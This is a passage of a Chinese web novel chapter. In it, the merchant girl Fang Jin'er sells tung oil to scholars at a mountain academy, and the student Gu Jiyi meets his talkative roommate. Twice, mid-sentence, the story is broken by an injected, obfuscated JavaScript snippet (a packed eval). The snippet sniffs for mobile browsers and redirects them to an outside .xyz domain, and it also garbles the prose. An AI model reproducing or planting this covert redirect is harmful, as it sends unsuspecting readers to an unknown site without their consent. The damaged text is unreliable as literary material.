顾济一的扇子落在他脑壳上:“我就是让你吃太多。” 文德学馆里头建筑众多,穿过讲堂便是园林,林中庑廊回曲,两旁亭台碧水,与假山交映,一路通向上舍学子居住的斋舍。 因着天色已黑,斋舍陆续亮起灯火,此时正是一片通明。 顾济一对照着提前从舍监处取得的号牌与钥匙,找到自己的住处,乃是鹿苑甲字号第三间。 斋舍是按学绩排的,一间四人,顾济一不知与谁同住,见房里亮着灯,便抬手敲了敲门:“有人在否?” 怎知敲了几遍,皆无人应答,顾济一只好最后警告一声,推门而入。 “哎哟谁啊,竟敢擅闯本斋舍,胆大如斯,不想活了?”一个学子突然从桌案前蹦跳而起,后退三步,拿毛笔指着顾济一,睡眼惺忪地凶道。 “呃,”原来是点着灯睡着了,顾济一沉默半晌,“在下姓顾,刚分到此间斋舍。” 那学子一下子清醒了:“你就是新来的同砚?” “正是。” “哎呀呀,你可知我等了你许久啊,顾贤 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14990182|159691||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 弟!”那学子万分激动,把毛笔一扔,上前就要握住顾济一的手,被顾济一拿扇子轻轻挡开了去。 还来不及问,他又是一愣,认出了元甲:“哦,你就是方才借走我油瓶的那个。” 元甲也将他认出来了,笑道:“这么巧?你与我家郎君竟是舍友。” 只见他退后两步,朝顾济一正色拱手行礼:“在下莱州叶英锐,住文德学馆上舍已满一年,而今能与顾贤弟同舍共学,甚幸甚幸。” 他说完不等顾济一回答,转瞬换回先前那副夸张行径,道:“顾贤弟,你不知,我命苦矣,本该四人一间的斋舍,硬是我独自住了整整一载,寂寞啊,孤独啊。” 顾济一总算抓住一个要点:“这间斋舍只有你一人?” “不,”叶英锐道,“以后就是你我二人了。” 顾济一:“……那床榻和桌案,叶兄是怎么分的?” 舍里四张床榻,左右各二。 叶英锐指了指左边最靠里的那张,也就是方才他跳起来的那个位置,道:“那张是兄的卧榻,其余三张,贤弟想睡哪就睡哪。” 他想了想,又道:“不过我建议顾贤弟选我对面这张,因为面朝正东,易聚祥瑞之气,有助于你我仕途。” “不必。”顾济一婉拒,选了离叶英锐最远的右二,“我看这张就挺好,我这人从小喜静,受不了祥瑞之气,太聒噪。” 叶英锐笑笑,见二人已经开始放行李,转而盯上了元甲放在案上的油瓶。 “顾贤弟这瓶油来得正巧,我一个人住,总是怕黑,故而常彻夜点灯而眠。这不刚好,把油瓶借给这位小兄弟时,灯里就剩一丁点儿油了。” 顾济一听出他话里有话:“叶兄需要便拿去用好了。” 反正他也不点这种油,只是方才看那小女娘可怜才买下,他惯常点的芝麻油就在搬来的行李中。 叶英锐很是高兴,拱手笑道:“那就多谢贤弟了。不过卖桐油的向来少见,我只晓得商市有一家,敢问贤弟这瓶是在哪买的,就在学馆附近么?贵否?” 顾济一被他吵得头疼:“就在学馆外的山坡上,价钱也不贵,只要一百六十几文一斤。叶兄有功夫问我不如出去看看,说不定还在卖。” 哪知叶英锐惊了,看了看瓶中:“一百六十几?!当真?” 顾济一以为他是觉得便宜,不耐烦道:“这有何不真?叶兄若是捡着卖剩的最后一点儿去买,也能这般好价。” “不是,贤弟啊,”叶英锐脸上的表情变了又变,声音有些微妙,“这桐油,寻常只卖六七十文一斤,你是不是遇到骗子了?” 这回轮到顾济一愣了,元甲也是原地一怔,正在铺床的手没敢动。 “当真?” “当真。” 气氛有些僵硬,叶英锐缓缓低头,佯装又看了看瓶中的油,踟躇道:“呃,不过贤弟你这油倒是……倒是,挺清澈。” - 有了薛湘帮忙缝的被褥和枕头,这一夜,房家姐弟三人睡觉格外香。 房锦儿和锦云同睡一席,进逸是哥儿,单独睡一席。 到了起床的时辰,进逸和锦云爬起来,发现房锦儿已经不在被窝里了,兄妹俩出了房门,才见她在院中,借着微光读那本厚厚的《诸行买卖》。 旁边放着剩下的半包酥蜜团,一边翻书,一边拿起来往嘴里送。 两小只相看一眼,同时摇了摇头,悄默声绕开房锦儿,到后院小解去了。 20. 第 20 章 接下来几日,何大果然死皮赖脸地占了明经书馆对过的摊位。 房进利那天抄了他的所得,又罚了他税金的五倍之数,税金每百取三,一来一去,损失就是五贯零一百九十四文。 为了免去杖三十的刑法,他又不得不接受房进利的“提议”:即每日所得利润分房进利三成,美其名曰“福报钱”。 因为交了钱,就能得到房爷的福报——许他在此设摊儿,而不交钱,就只能得到房爷的报复——屁股开花。 何大含泪点了头,分三回纳清了五贯零一百九十四文钱,又在荣永新的“劝慰”下,签字画押了一张“福报契”。 好在房进利这人也不是天天臭着个脸,桐油生意稳定,何大福报给得勤快,他每日酒钱有了着落,心情自然甚好。 有一回竟破天荒地从福报钱里头拿出十文,扔回去给何大:“拿着,房爷赏你的。” 激动得何大连连作揖。 而何大也是个记吃不记打的主儿。 房进利那头刚好过点儿,他就忙不迭去找旧书铺的店主金芳苓,说是要学着房锦儿把招牌挂到竹竿上。 金芳苓啐了他一口:“每月三百文我就给你挂。” “你怎不去抢,”何大不服,大拇指指着自个儿,“我可是街道司亲点的桐油摊子,帮我挂个招牌,说不定还能顺带照拂照拂你这间铺。” “街道司的摊儿?”金芳苓笑了,“那就八百。” “嘿我说你这个臭女娘。”何大还想来硬的,被金芳苓一脚踹了出去。 …… 再说许纵那日借瓶买油,一跃成了明经书馆的红人。 这几日走哪都有人看他眼熟:“诶,瞧,那不是那个六百文钱买了八斤油的呆子么。” 把他的好同砚王远瞻气个半死:“滚,岂容尔辈宵小聒噪。” 王远瞻一边替他回嘴,一边说到做到地休了封书信回洛州老家,将许纵沉迷命理不惜贵价买油之事告诉了许纵他爹。 他爹当即削了他闲资,发书回来,让王远瞻务必看紧许纵。 月考考绩出来之前,除了用功什么也不许做,每日只能往返膻堂和讲堂,至多去一去藏书阁。 好在许纵得了房锦儿算的那一卦,这些个小灾小难早都已经不放在心上了,甚至不必王远瞻盯着,也心甘情愿地向学。 可不是么,高人说了他月考能得甲,他肯定就能得甲。 每每想到此,许纵便莫名多出几分动力与自勉,连看书的眼神都亮了许多。 月考之后还有舍试,舍试只后还有校试和县试,还有府试、院试、秋闱、春闱,他已经迫不及待想去找房锦儿还愿了。 - 房锦儿这边,征服文德学馆的计划却不似想象中顺利。 首先脚程就比原先多了不少。 通往桐油庄的金光门在城西北,通往文德学馆的安化门却在城南,几乎要对穿盛都城。 而一日之内出城两趟,还要背着油上下山,就更不用说了。 回到家累得腿都站不直,往草席上一躺便再也起不来了。好在小锦云懂事,缠着薛湘带她去找了不知哪个街坊婆子,竟学会几招推拿,给房锦儿和进逸捏腿。 头一回就把两人捏了一跳。 “嗷,嗷,疼疼疼。”小锦云只不过按了她腿肚子一下,房锦儿就跟被人打了一般叫唤起来。 锦云吓得赶紧松开手:“我还没捏呢。阿姐,你怎么比湘娘娘还经不住捏。” 房锦儿坐起来揉着痛处:“你还给湘姐捏了?” “捏啦,”锦云眨巴眨巴眼睛,“我拿她练练手。” 房锦儿倒吸一口气:“她还好不?” 只听屋门外传来个声音:“还活着,不过要是再多捏几回,恐怕就不好说了。” 薛湘笑着踏进门来,手里托着罐热水和一小瓶药膏,进门便道:“你家这小囡,手劲大得离谱,就连坊里那个专给人推身敲骨的张婆子都吓一跳,说她这么小个人儿,一股子牛劲,以后千万不能干这行,不然捏瘫几个迟早的事儿。” 锦云鼓鼓腮帮子:“阿姐,那个张阿婆就是故意不想教我才这么说,你千万别信她的,我给你轻轻揉,她教的几样我一看学就会了。” 她说着又把手放到房锦儿腿上,吓得房锦儿将腿一缩:“等等等。” 然而缩腿也不行,她这两日路程实在走太多,筋脉都打了结,一蜷起来就抽抽,更是疼得直叫唤,最后还是任由别人摆布。 薛湘拿了布巾沾热水先给她敷,又抹了化瘀的药膏,最后锦云拿一成力气轻轻揉,揉了半个多时辰,这才缓解开来。 进逸的遭遇也差不多。 因为路程太远,山上的生意暂时又不稳定,腿好后,房锦儿干脆没再让进逸遭罪,让他先在家等两天,自己一个人上山。 起初两日油卖得还行。 她去得早,文德学馆的书生们又是头回见着来卖桐油的,觉得新奇,加之价钱合适,吸引到不少顾客。 然从第三日开始,大抵是何大的油卖得实在太过便宜,风声传开了,城外书院的学子们也有所耳闻,就纷纷跟着下山争抢。 两厢一对比,何大的油成了香饽饽,房锦儿的油自然就显得贵了许多。 于是乎房锦儿每日午时上山,要在山坡上转悠吆喝至少两个时辰,才能勉强卖干净。 且不止要在文德学馆附近兜售,还得背着油罐沿山路而行,到云溪书院和南山书馆去卖。 也有些觉得她油不错的书生劝她:“娘子何不也跟着削削价?所谓薄利多销嘛,你卖得便宜,我等也买得爽快不是。” 房锦儿起初听见还会耐心解释几句,譬如好油进价高云云。 后来听得多了,干脆左耳进右耳出,统统一笑置之。 客人不在意商贩死活,自然是希望越便宜越好,可于商贩而言,每斤八文的利润,哪是说舍就能舍掉。 这回舍掉了,那下回呢? 何大若是个伤敌一千自损八百的蠢材,能用这招对付她一百回,可她若想一招制敌,就不能乱了阵脚。 故而削价是不可能削价的,她还想再努力努力。 于是她开始观察城外三家书院书生们买桐油的情况,琢磨了几日,终于发现了关窍所在。 她发觉,虽然她常在文德学馆门前吆喝,但反倒是南山书馆的生徒买得更多。 缘何? 不是南山书馆生徒更多,亦非南山书馆的学子更宽裕。 而是南山书馆藏于山顶,比文德学馆离城更远。 也便是说,房锦儿的桐油现下价钱不占优,就成了卖个方便。 凡是时间充裕,能够下山买油的学子皆不愿买她的,却是那些放堂晚了的、留堂的、苦读的、急着用油的,或是懒得出门、赶时间的,才乐意从她这里打,图个容易。 想通了这一点,房锦儿有些激动。 做生意好比闯军营,也要过五关斩六将才能大破敌军。 于她而言,客人便是敌,银子如同首级,而她始终要做的,是找到那把可以直捣黄龙的刀。 放堂晚的、留堂的、急着用油的、赶时间的…… 房锦儿一连几天,脑子里面绕着这几个词,连走路吆喝都有些心不在焉。 何大从前在商市时,是未时开张。 但前日她去找金芳苓要旧书时,金芳苓告诉她,何大这些日子也学着提早开张,把时辰改到了午正。 由此可推,午时末刻之前,书生们大都准备 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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门子还真没想到这一点,虽仍有些犹豫,但还是说了几位夫子的名字,其中特别严厉的两位,着重告诉了房锦儿。 他怎么也想不到,当天傍晚,房锦儿就藏了油罐,趁着天色偷溜进了文德书馆,摸清了这几位夫子的讲堂。 - 因为是随定远大将军入京,顾济一是月考之后才入的学馆,比寻常新徒晚了一个月整。 这些天他便由学监守着,补考月考。 考完之后,又马不停蹄地补习落下的课业,几乎是日日通宵达旦,足不出户,连膳堂都只去过一回,就是搬来哪日陪着元甲去吃了点儿菜饭。 照理说,以顾济一的身份,既可以随便进哪家高官贵胄的族学,也可以入太学,可他执意选了文德学馆,为的其实是这里的一位夫子—— 寸纶。 寸夫子所授算学闻名盛都,全朝上下无出其右。 但他也是出了名的严,做他的学生,首先便要经过五考六验,之后还需得万分用功,时常留堂苦读。 顾济一挤破了脑袋,好不容易才在寸夫子的讲堂获得一席之位。 头一日听讲便留堂到了亥时。 亥时放堂出门一看,见门口围了一圈人,个个眯眼盯着门旁贴着的一张纸条在看。 顾济一本不爱凑热闹,奈何元甲也在其中,左右手各拎着一包刁家炊饼,看得起劲。 他只好踱步过去,打眼往条上一扫。 只见上头写着:桐油桐油,留堂还有,文德门外,点灯不愁(注:房记桐油,童叟无欺,每日未正起售,多买多送)。